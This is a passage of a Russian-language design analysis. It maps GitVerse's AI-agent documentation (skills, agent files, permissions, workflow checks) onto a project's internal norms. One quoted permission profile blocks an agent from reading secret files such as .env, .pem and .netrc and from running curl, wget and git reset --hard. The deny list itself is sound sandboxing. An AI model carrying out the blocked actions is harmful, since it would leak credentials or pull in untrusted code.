\u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0430\u0433\u0435\u043d\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u043f\u043e \u043d\u0438\u043c \u0440\u0435\u0448\u0430\u0435\u0442,\\n> \u043a\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435\\n> \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a.\\n\\n\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438:\\n\\n> \u041d\u0430\u0432\u044b\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 \u043f\u0430\u043f\u043a\u0435 .agents/skills, \u043a\u0430\u0436\u0434\u044b\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 <\u2026> \u0418\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430\\n> \u0438\u0437 \u043f\u043e\u043b\u044f name \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c: \u0435\u0441\u043b\u0438 \u0434\u0432\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e,\\n> \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445, \u0438 \u043a\u0430\u043a\u043e\u0439 \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e.\\n\\n\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430:\\n\\n> \u0420\u044f\u0434\u043e\u043c \u0441 SKILL.md \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u2014 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0448\u0430\u0431\u043b\u043e\u043d\u044b,\\n> \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u2014 \u0438 \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0438\u0437 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438.\\n\\n> \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0432\u0441\u0435\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043d \u0432\u0438\u0434\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u0435\u043d\u0430 \u0438\\n> \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f; \u043f\u043e\u043b\u043d\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0447\u0438\u0442\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0432\u044b\u043a \u043f\u043e\u0434\u043e\u0448\u0435\u043b \u043a \u0437\u0430\u0434\u0430\u0447\u0435.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0443 \u0441\u0440\u0435\u0434\u044b \u0434\u0432\u0430, \u0443 \u0425\u0430\u0431\u0430 \u0438\u0445\\n\u0431\u043e\u043b\u044c\u0448\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0441\u043e\u0441\u0442\u0430\u0432 \u0441\u0435\u043a\u0446\u0438\u0439 `SKILL.md`, \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0439 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u2014 \u044d\u0442\u043e\\n**\u0434\u0435\u043b\u044c\u0442\u0430 \u0425\u0430\u0431\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0441\u0440\u0435\u0434\u044b**, \u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b. \u0414\u0435\u043b\u044c\u0442\u0430\\n\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430: \u0441\u0440\u0435\u0434\u0430 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u043d\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0438\\n\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab`name` \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u00bb \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f **\u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c** \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432\\n\u0443\u0440\u043e\u0432\u043d\u044f `L3`: \u043a\u043e\u043b\u043b\u0438\u0437\u0438\u044f \u0438\u043c\u0451\u043d \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u044b\u0431\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c.\\n\\n## GC-25\u2026GC-28. \u0421\u0440\u0435\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043f\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044e\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a **\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b** (`GC-25`) \u0438\\n\u0437\u0430\u0434\u0430\u0451\u0442 \u0444\u043e\u0440\u043c\u0435 \u0434\u0432\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b: \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a, \u0435\u0433\u043e \u043c\u0435\u0441\u0442\u043e \u0432\\n`AGENTS.md` (`GC-26`); \u0442\u043e, \u0434\u043b\u044f \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u0435\u043d \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u2014 \u0443\u0436\u0435 \u0430\u0433\u0435\u043d\u0442, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a (`GC-28`). \u041c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u043e\u0431\u044a\u0451\u043c \u043d\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d: \u0442\u0430 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u044f\u043c\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0430\u0432\u044b\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e\\n\u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 (`GC-27`).\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u043e\u0439 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b **\u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442**: \u0441\u0440\u0435\u0434\u0430\\n\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442. \u042d\u0442\u043e \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0425\u0430\u0431\u0430,\\n\u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0424\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438\\n\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md);\\n\u0433\u0440\u0430\u043d\u0438\u0446\u044b `GC-26` \u0438 `GC-28` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-3`, `SF-4` \u0438 `SK-10`.\\n\\n## GC-7\u2026GC-10. \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0430\u043c\u0438\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0410\u0433\u0435\u043d\u0442\u044b \u0438 \u0441\u0443\u0431\u0430\u0433\u0435\u043d\u0442\u044b\u00bb](https://gitverse.ru/docs/ai/ai-development/agents):\\n\\n> \u0410\u0433\u0435\u043d\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f markdown-\u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0432 \u043f\u0430\u043f\u043a\u0435 .opencode/agent \u0432\u0430\u0448\u0435\u0433\u043e\\n> \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n\\n\u041f\u043e\u043b\u044f \u0431\u043b\u043e\u043a\u0430 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 `description`, `mode` (`primary` / `subagent` /\\n`all`), `permission`, `temperature`, `steps`. \u041f\u0440\u043e \u043f\u0440\u0430\u0432\u0430:\\n\\n> \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f permission \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c: edit \u2014 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n> \u0444\u0430\u0439\u043b\u043e\u0432, bash \u2014 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, read \u2014 \u0447\u0442\u0435\u043d\u0438\u0435, webfetch \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\\n> \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0438\u043c \u0441\u043b\u043e\u0432\u043e\u043c \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043b\u0438\u0431\u043e \u043a\u0430\u0440\u0442\u043e\u0439\\n> \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u0431\u043e\u043b\u0435\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432\u0430\u0436\u043d\u0435\u0435 \u043e\u0431\u0449\u0435\u0433\u043e.\\n\\n\u041f\u0440\u043e `steps`:\\n\\n> \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c\\n> \u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u044b \u2014 `Build` (\u0447\u0438\u0442\u0430\u0435\u0442 \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043a\u043e\u043c\u043c\u0438\u0442\u044b) \u0438 `Plan` (\u0447\u0438\u0442\u0430\u0435\u0442 \u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0435\\n\u043c\u0435\u043d\u044f\u0435\u0442); \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0441\u0443\u0431\u0430\u0433\u0435\u043d\u0442\u044b \u2014 `explore` (\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435) \u0438 `general`.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u0432\u043e\u043f\u043b\u043e\u0449\u0435\u043d\u0438\u0435:\\n\u0440\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u2014 \u044d\u0442\u043e \u0444\u0430\u0439\u043b \u0430\u0433\u0435\u043d\u0442\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0432\\n\u0442\u0435\u043a\u0441\u0442\u0435. \u0417\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0443 \u0440\u0435\u0432\u044c\u044e\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0440\u043e\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u0441\u0440\u0435\u0434\u043e\u0439\\n(`permission.edit: deny`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check` \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c\\n\u0430\u0433\u0435\u043d\u0442\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u00ab\u043f\u043e\u0447\u0438\u043d\u0438\u0442\u044c\u00bb \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043e\\n\u043d\u0451\u043c \u0441\u043e\u043e\u0431\u0449\u0438\u0442\u044c.\\n\\n## GC-11\u2026GC-13. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u0432 \u0441\u0440\u0435\u0434\u0435\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 MCP\u00bb](https://gitverse.ru/docs/ai/ai-development/tools)\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u0430\u0433\u0435\u043d\u0442\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\\n\\n> \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438: \u0441\u0431\u043e\u0440\u043a\u0430, \u0442\u0435\u0441\u0442\u044b, \u043b\u0438\u043d\u0442\u0435\u0440\u044b, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 Git.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u0440\u0430\u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u044b \u044f\u0432\u043d\u043e:\\n\\n> \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438: .env \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e, .key, .pem, .netrc;\\n> \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e .git; \u043a\u043e\u043c\u0430\u043d\u0434\u044b curl,\\n> wget, git merge \u0438 git reset --hard.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0441\u0440\u0435\u0434\u0435\\n\u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0442 \u0432 \u0447\u0430\u0441\u0442\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 `G-mach`: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043b\u0438\u043d\u0442\u0435\u0440 \u0438 \u0442\u0435\u0441\u0442 \u2014\\n\u044d\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0430 \u0441\u0440\u0435\u0434\u0430 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u043e \u0435\u0451 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c. \u041e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f **\u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430** \u0437\u0430\u0432\u0438\u0441\u0435\u0442\u044c \u043e\u0442 `curl` \u0438\u043b\u0438\\n`wget`, \u0438\u043d\u0430\u0447\u0435 \u0435\u0451 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u0432 \u0441\u0440\u0435\u0434\u0435. \u0421\u0431\u043e\u0440 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n\u0438\u0434\u0451\u0442 \u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 `webfetch`-\u043f\u0440\u0430\u0432\u043e \u0430\u0433\u0435\u043d\u0442\u0430, \u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n\\n## GC-14\u2026GC-15. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0426\u0438\u043a\u043b \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c\u00bb](https://gitverse.ru/docs/ai/ai-development/workflow)\\n\u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 (\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2192 \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u2192 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2192 \u041f\u043b\u0430\u043d \u2192 \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435) \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e. \u0414\u0432\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443:\\n\\n> \u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\n\\n> \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043b\u043e\u0432\u0430\u043c\u0438\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b 